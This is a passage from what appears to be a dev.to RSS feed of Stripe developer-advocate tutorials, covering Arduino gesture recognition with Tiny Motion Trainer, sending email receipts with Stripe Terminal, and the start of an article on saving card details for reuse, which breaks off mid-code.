&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tinyMlExperimentBleInterface&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createConnectButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#connectButtonContainer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;model.tflite&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;numClasses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;threshold&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.228&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;numSamples&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;captureDelay&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nf"&gt;onInference&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Rotate left&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Rotate right&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it! The code sample above adds an event listener to a button on the page with the ID “connectButtonContainer”, that can initialize the connection to the board.&lt;/p&gt;

&lt;p&gt;Then, the object passed contains the parameters used when creating the model using Tiny Motion Trainer.&lt;/p&gt;

&lt;p&gt;If you’re interested, here are some details about what they mean:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;model&lt;/code&gt;: the path to the machine learning model file in your application folder&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;numClasses&lt;/code&gt;: the number of gestures you trained&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;threshold&lt;/code&gt;: the threshold at which the model will start to classify a gesture based on the live motion data. The lower the threshold, the more sensitive the system will be, meaning the model will try to predict a gesture even when the Arduino is not moving much. The higher the threshold, the more intense the gesture will need to be to start predictions.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;numSamples&lt;/code&gt;: the number of samples recorded per second.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;captureDelay&lt;/code&gt;: the delay between the collection of live data used to predict a gesture. The lower the number, the faster it is going to use live data to predict a gesture. For example, if you are building an application where your user might move fast and you need to be able to classify different gestures at a rapid pace, you will want this capture delay to be low.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;onInference&lt;/code&gt;: this function triggers when the machine learning model on the Arduino has recognised a gesture that matches one of the ones that was trained, and sends a notification to the browser. The data object returned contains the index of the gesture. If your first gesture was “rotate right”, then it will have index 0, if your second gesture was “rotate left”, its index will be 1, and so on.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From there, the rest is up to you! These tools handle the complex machine learning logic so you can focus on experimenting with interactions and building your application! You could use this to build games, experiment with musical interfaces, fitness apps, home automation, and more.&lt;/p&gt;

&lt;p&gt;Considering that gesture recognition in this case is done by using data from an accelerometer and gyroscope, the same concept would work on any device that possesses these sensors including phones and smart watches. It wouldn’t be too far-fetched to imagine it working on an Apple or Android watch that would use custom gestures to trigger actions such as locking/unlocking your computer, changing TV channels, controlling the volume of your sound system, making your own fall detection system, or even authorizing payments.   &lt;/p&gt;

&lt;h2&gt;
  
  
  Additional thoughts
&lt;/h2&gt;

&lt;p&gt;While prototyping this, I ran into a few limitations that might be interesting to mention. These will focus specifically on using this technology as a potential payment method.&lt;/p&gt;

&lt;h3&gt;
  
  
  Limitations
&lt;/h3&gt;

&lt;p&gt;First, the &lt;strong&gt;browser compatibility&lt;/strong&gt; for the Web Bluetooth API. At the moment, it is only supported on Chrome, Edge and Opera. From what I understand, Apple is not interested in implementing it in Safari and on iOS devices so it wasn’t working on my iPad, and I assume wouldn’t work either on an Apple Watch.&lt;/p&gt;

&lt;p&gt;Then, the fact that &lt;strong&gt;the model is stored in the app&lt;/strong&gt;. Thinking about what this could be like if it was a real payment method, the model should be stored on the device itself and only send a confirmation token to a merchant’s terminal, instead of the index of the gesture. Additionally, a gesture could be considered Personal Identifiable Information (PII) that should be protected to stay compliant. This is definitely possible on a phone or smart watch, just not with the Arduino. &lt;/p&gt;

&lt;p&gt;Additionally, this &lt;strong&gt;wouldn’t be practical using Bluetooth&lt;/strong&gt;. A merchant’s terminal should not have to connect to a customer’s device to be able to receive details; however, an authentication token could be sent via NFC, the same way that details are exchanged currently between terminal devices and cards.&lt;/p&gt;

&lt;p&gt;Finally, &lt;strong&gt;using gestures solely would only work if a customer is part of a program that already possesses their credit card details&lt;/strong&gt;. If a gesture is not used as a confirmation input but as the payment method itself, we need some way to match payment details to this gesture and this user. For example, let’s imagine that a customer wants to pay with gestures that they trained on their smartwatch. We could imagine a system in which a merchant is using &lt;a href="https://stripe.com/terminal" rel="noopener noreferrer"&gt;Stripe Terminal&lt;/a&gt; devices and the customer happens to have a Stripe account in which they have registered their watch’s serial number as well as their credit card details. When this customer executes one of their trained gestures, their watch could transfer a token representing the gesture and the watch’s serial number to the Stripe Terminal. This could be used to confirm the identity of the customer and automatically process the payment as Stripe would already have their payment details stored. This is just an idea, but this is how I would picture it working.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;At this point, you should now be able to quickly train a machine learning model to recognise custom gestures and build a gesture-controlled web app. Using an Arduino and Tiny Motion Trainer is a great way to get started and prototype a proof of concept.&lt;/p&gt;

&lt;p&gt;As this relies on using an accelerometer and gyroscope sensor to record different gestures, a similar system can also be built using the sensors on your phone or smartwatch. &lt;/p&gt;

&lt;p&gt;If you’d like to learn more about how a machine learning model is transferred to an Arduino via bluetooth, I will publish a post dedicated to that soon. Stay tuned!&lt;/p&gt;

&lt;p&gt;In the meantime, you can stay up to date with Stripe developer updates on the following platforms:&lt;br&gt;
📣 Follow &lt;a href="https://twitter.com/stripedev" rel="noopener noreferrer"&gt;@StripeDev&lt;/a&gt; and &lt;a href="https://twitter.com/i/lists/1459720002567868418" rel="noopener noreferrer"&gt;our team&lt;/a&gt; on &lt;a href="https://twitter.com/StripeDev" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;br&gt;
📺 Subscribe to our &lt;a href="https://www.youtube.com/StripeDevelopers" rel="noopener noreferrer"&gt;Youtube channel&lt;/a&gt;&lt;br&gt;
💬 Join the official &lt;a href="https://discord.com/invite/RuJnSBXrQn" rel="noopener noreferrer"&gt;Discord server&lt;/a&gt;&lt;br&gt;
📧 Sign up for the &lt;a href="https://go.stripe.global/dev-digest" rel="noopener noreferrer"&gt;Dev Digest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj835rev84td847ear2t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkj835rev84td847ear2t.png" alt="Charlie's profile picture. She is caucasian with long brown hair and wears glasses. She is standing in front of a while wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a Developer Advocate at Stripe, a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt; and &lt;a href="https://developers.google.com/community/experts" rel="noopener noreferrer"&gt;Google Developer Expert&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, trying new beers and reading.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>stripe</category>
      <category>arduino</category>
      <category>tensorflow</category>
    </item>
    <item>
      <title>Providing receipts for in-person transactions with Terminal</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Thu, 08 Sep 2022 18:39:04 +0000</pubDate>
      <link>https://dev.to/4thzoa/providing-receipts-for-in-person-transactions-with-terminal-5ee3</link>
      <guid>https://dev.to/4thzoa/providing-receipts-for-in-person-transactions-with-terminal-5ee3</guid>
      <description>&lt;p&gt;Recently, my colleague &lt;a href="https://twitter.com/charlesw_dev" rel="noopener noreferrer"&gt;Charles Watkins&lt;/a&gt; wrote a &lt;a href="https://dev.to/charlesw_dev/series/18169"&gt;4-part intro series to Stripe Terminal&lt;/a&gt;, our in-person payment solution. Charles' articles will teach you how to set up and register a Terminal device and build an app to accept or cancel payments. Additionally, I’ve been looking into other features including &lt;a href="https://dev.to/stripe/how-to-collect-tips-with-stripe-terminal-18l6"&gt;how to collect tips with Terminal&lt;/a&gt;. In this post, I’ll explain how to provide digital receipts for in-person purchases.&lt;br&gt;
Digital receipts are very convenient for both customers and merchants. They eliminate the need for paper, help keep track of your spendings and are very helpful if you need to submit expenses. &lt;/p&gt;
&lt;h2&gt;
  
  
  Triggering an automatic email receipt
&lt;/h2&gt;

&lt;p&gt;If you’ve used Terminal before or if you read the blog series linked above, you’ll know that to process payments, you need to start by creating a &lt;a href="https://stripe.com/docs/api/payment_intents" rel="noopener noreferrer"&gt;PaymentIntent&lt;/a&gt;. By default, this does not send receipts once the payment is processed. To use this feature, you only need to add the &lt;code&gt;receipt_email&lt;/code&gt; field in the payment intent object, with the email value your customer would enter in your UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentIntents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
     &lt;span class="na"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;usd&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;payment_method_types&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;card_present&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
     &lt;span class="na"&gt;capture_method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;manual&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;receipt_email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;edsger@dijkstra.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
 &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the payment intent is created, it needs to be processed using the &lt;code&gt;processPaymentIntent&lt;/code&gt; method, passing the Terminal reader ID and the payment intent ID.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;processPaymentIntent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
     &lt;span class="nx"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;//the reader ID can be found by calling await stripe.terminal.readers.list()&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;payment_intent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, capturing the payment using the  &lt;code&gt;capture&lt;/code&gt; methods will automatically send an email to the address provided.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentIntents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;capture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Creating custom receipts
&lt;/h2&gt;

&lt;p&gt;By default, email receipts look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1fndva3npq3jeu06ks35.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1fndva3npq3jeu06ks35.png" alt="Example of a Stripe receipt with the amount paid, the date and the payment method." width="800" height="1069"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The design and content can be updated via the &lt;a href="https://dashboard.stripe.com" rel="noopener noreferrer"&gt;Stripe dashboard&lt;/a&gt;. You can select which language to use for receipts (English, French, Portuguese, etc.) in your &lt;a href="https://dashboard.stripe.com/account/emails" rel="noopener noreferrer"&gt;email receipt settings&lt;/a&gt; and update the logo and colors in the &lt;a href="https://dashboard.stripe.com/account/branding" rel="noopener noreferrer"&gt;branding settings&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F45tfmxn0fozsjug0i6gz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F45tfmxn0fozsjug0i6gz.png" alt="Screenshot of the Stripe dashboard showing the branding page where colors and logos can be edited." width="800" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Additionally, you can add details about your cancellation policy by using the &lt;a href="https://stripe.com/docs/api/payment_intents/create#create_payment_intent-description" rel="noopener noreferrer"&gt;&lt;code&gt;description&lt;/code&gt; field&lt;/a&gt; when creating your payment intent.&lt;br&gt;
Some things to note: a receipt will only be sent after a successful payment. A canceled or failed transaction will not generate a receipt.&lt;br&gt;
Now you should be able to automatically send receipts to your customers after each successful in-person transaction!&lt;/p&gt;

&lt;p&gt;Let us know if you’re implementing this, and stay up to date with Stripe developer updates on the following platforms:&lt;/p&gt;

&lt;p&gt;📣 Follow &lt;a href="https://twitter.com/stripedev" rel="noopener noreferrer"&gt;@StripeDev&lt;/a&gt; and &lt;a href="https://twitter.com/i/lists/1459720002567868418" rel="noopener noreferrer"&gt;our team&lt;/a&gt; on &lt;a href="https://twitter.com/StripeDev" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;br&gt;
📺 Subscribe to our &lt;a href="https://www.youtube.com/StripeDevelopers" rel="noopener noreferrer"&gt;Youtube channel&lt;/a&gt;&lt;br&gt;
💬 Join the official &lt;a href="https://discord.com/invite/RuJnSBXrQn" rel="noopener noreferrer"&gt;Discord server&lt;/a&gt;&lt;br&gt;
📧 Sign up for the &lt;a href="https://go.stripe.global/dev-digest" rel="noopener noreferrer"&gt;Dev Digest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vzhifmjslwilrx3e8y6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vzhifmjslwilrx3e8y6.png" alt="Charlie's profile picture. She has long brown hair and wears glasses. She is standing in front of a white wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a Developer Advocate at Stripe, a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt; and &lt;a href="https://developers.google.com/community/experts" rel="noopener noreferrer"&gt;Google Developer Expert&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, trying new beers and reading.&lt;/p&gt;

</description>
      <category>stripe</category>
      <category>terminal</category>
    </item>
    <item>
      <title>Create an omnichannel shopping experience with Stripe Terminal in Node.js</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Mon, 29 Aug 2022 16:59:35 +0000</pubDate>
      <link>https://dev.to/4thzoa/create-an-omnichannel-shopping-experience-with-stripe-terminal-in-nodejs-heh</link>
      <guid>https://dev.to/4thzoa/create-an-omnichannel-shopping-experience-with-stripe-terminal-in-nodejs-heh</guid>
      <description>&lt;p&gt;Recently, my colleague &lt;a href="https://twitter.com/charlesw_dev" rel="noopener noreferrer"&gt;Charles Watkins&lt;/a&gt; wrote a &lt;a href="https://dev.to/charlesw_dev/series/18169"&gt;4-part intro series to Stripe Terminal&lt;/a&gt;, our in-person payment solution. Charles' articles will teach you how to set up and register a Terminal device and build an app to accept or cancel payments. Let's take it a step further and look into an additional feature: saving card details via the Terminal device for future online reuse.&lt;br&gt;
This feature can improve your customers’ overall experience by simplifying the checkout process.&lt;/p&gt;

&lt;p&gt;For example, when checking into a hotel, you are often asked to pre-authorize your card in case the hotel needs to charge you for any damage done to the room or get any room service directly charged to your account. Your card details are usually saved via a terminal device and re-used later on without needing additional authorization.&lt;/p&gt;
&lt;h2&gt;
  
  
  Creating or retrieving a customer
&lt;/h2&gt;

&lt;p&gt;With Stripe, in order to charge a payment method more than once, it must be attached to a customer object, so the first step in this process is to create or retrieve your customer.&lt;/p&gt;
&lt;h3&gt;
  
  
  Creating a new customer
&lt;/h3&gt;

&lt;p&gt;Creating a customer can be done with the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// See your keys here: https://dashboard.stripe.com/apikeys&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;your-API-key&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;customers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create a standard customer object; however, if you’d like to assign specific properties, you can do so by passing them to the &lt;code&gt;create&lt;/code&gt; method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// See your keys here: https://dashboard.stripe.com/apikeys&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;your-API-key&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;customers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
     &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hedy Lamarr&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hedy@lamarr.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
       &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Patented radio frequency hopping, the basis for Wi-Fi, GPS and Bluetooth&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Retrieving a customer
&lt;/h3&gt;

&lt;p&gt;If your customer already exists, you can retrieve it using the &lt;code&gt;retrieve&lt;/code&gt; method and pass it the customer ID starting with &lt;code&gt;cus_&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// See your keys here: https://dashboard.stripe.com/apikeys&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;your-API-key&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;customers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;retrieve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cus_xxx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you do not know the customer ID, you can search for it by using the &lt;code&gt;search&lt;/code&gt; method, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;customers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;customers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
